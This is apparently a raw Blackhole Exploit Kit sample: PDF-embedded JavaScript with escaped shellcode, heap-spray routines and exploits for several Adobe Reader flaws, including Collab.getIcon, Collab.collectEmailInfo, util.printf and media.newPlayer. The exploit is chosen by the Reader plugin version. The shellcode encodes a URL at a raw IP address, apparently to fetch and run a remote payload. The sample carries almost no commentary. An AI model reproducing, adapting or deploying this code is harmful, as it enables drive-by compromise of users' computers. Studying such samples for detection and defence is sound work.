BHEK 2013-5

//shellcode strings.... bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u392f%u2e33%u3931%u2e30%u3434%u312e%u3737%u632f%u6f6c%u6573%u7473%u392f%u7938%u3866%u3139%u6633%u696a%u6770%u696a%u6c61%u6768%u3238%u3933%u676a%u6769%u6e68%u686a%u6934%u6b36%u6f35%u702e%u7068%u703f%u6676%u6472%u333d%u3a30%u6e31%u313a%u3a69%u6931%u333a%u2633%u7a75%u7868%u3d70%u6b31%u313a%u3a66%u7732%u313a%u3a6d%u3133%u313a%u3a6f%u6c31%u313a%u3a6c%u3033%u333a%u2631%u7179%u3d71%u6831%u6a26%u636b%u616c%u6d75%u3d6f%u6c65%u786e%u2665%u696a%u7a65%u636f%u676c%u793d%u6864%u006f%u0000';
// Two exploit of
//(1) Collab.getIcon Exploit CVE-2009-0927 , and
//(2) Collab.collectEmailInfo CVE-2007-5659

 function ezvr(ra,qy)
 {
   while(ra.length*2<qy)
   {
     ra+=ra
   }
   ra=ra.substring(0,qy/2);
   return ra
 }
 function bx()
 {
   var dkg=new Array();
   var vw=0x0c0c0c0c;
   var addr=0x400000;
   var payload=unescape(bjsg);
   var sc_len=payload.length*2;
   var qy=addr-(sc_len+0x38);
   var yarsp=unescape("%u9090%u9090");
   yarsp=ezvr(yarsp,qy);
   var count2=(vw-0x400000)/addr;
   for(var count=0;count<count2;count++)
   {
     dkg[count]=yarsp+payload
   }
   var overflow=unescape("%u0c0c%u0c0c");
   while(overflow.length<44952)
   {
     overflow+=overflow
   }
   this.collabStore=Collab.collectEmailInfo(
   {
     subj:"",msg:overflow
   }
   )
 }
 function printf()
 {
   nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");
   var payload=unescape(bjsg);
   heapblock=nop+payload;
   bigblock=unescape("%u0A0A%u0A0A");
   headersize=20;
   spray=headersize+heapblock.length;
   while(bigblock.length<spray)
   {
     bigblock+=bigblock
   }
   fillblock=bigblock.substring(0,spray);
   block=bigblock.substring(0,bigblock.length-spray);
   while(block.length+spray<0x40000)
   {
     block=block+block+fillblock
   }
   mem=new Array();
   for(i=0;i<1400;i++)
   {
     mem[i]=block+heapblock
   }
   var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
   util.printf("%45000f",num)
 }
 function geticon()
 {
   var arry=new Array();
   if(app.doc.Collab.getIcon)
   {
     var payload=unescape(bjsg);
     var hWq500CN=payload.length*2;
     var qy=0x400000-(hWq500CN+0x38);
     var yarsp=unescape("%u9090%u9090");
     yarsp=ezvr(yarsp,qy);
     var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;
     for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++)
     {
       arry[vqcQD96y]=yarsp+payload
     }
     var tUMhNbGw=unescape("%09");
     while(tUMhNbGw.length<0x4000)
     {
       tUMhNbGw+=tUMhNbGw
     }
     tUMhNbGw="N."+tUMhNbGw;
     app.doc.Collab.getIcon(tUMhNbGw)
   }
 }
 aPlugins=app.plugIns;
 var sv=parseInt(app.viewerVersion.toString().charAt(0));
 for(var i=0;i<aPlugins.length;i++)
 {
   if(aPlugins[i].name=='EScript')
   {
     var lv=aPlugins[i].version
   }
 }
 if((lv==9)||((sv==8)&&(lv<=8.12)))
 {
   geticon()
 }
 else if(lv==7.1)
 {
   printf()
 }
 else if(((sv==6)||(sv==7))&&(lv<7.11))
 {
   bx()
 }
 else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17))
 {
   function a()
   {
     util.printd('p@111111111111111111111111 : yyyy111',new Date())
   }
   var h=app.plugIns;
   for(var f=0;f<h.length;f++)
   {
     if(h[f].name=='EScript')
     {
       var i=h[f].version
     }
   }
   if((i>8.12)&&(i<8.2))
   {
     c=new Array();
     var d=unescape('%u9090%u9090');
     var e=unescape(bjsg);
     while(d.length<=0x8000)
     {
       d+=d
     }
     d=d.substr(0,0x8000-e.length);
     for(f=0;f<2900;f++)
     {
       c[f]=d+e
     }
     a();
     a();
     try
     {
       this.media.newPlayer(null)
     }
     catch(e)
     {
     }
     a()
   }
 }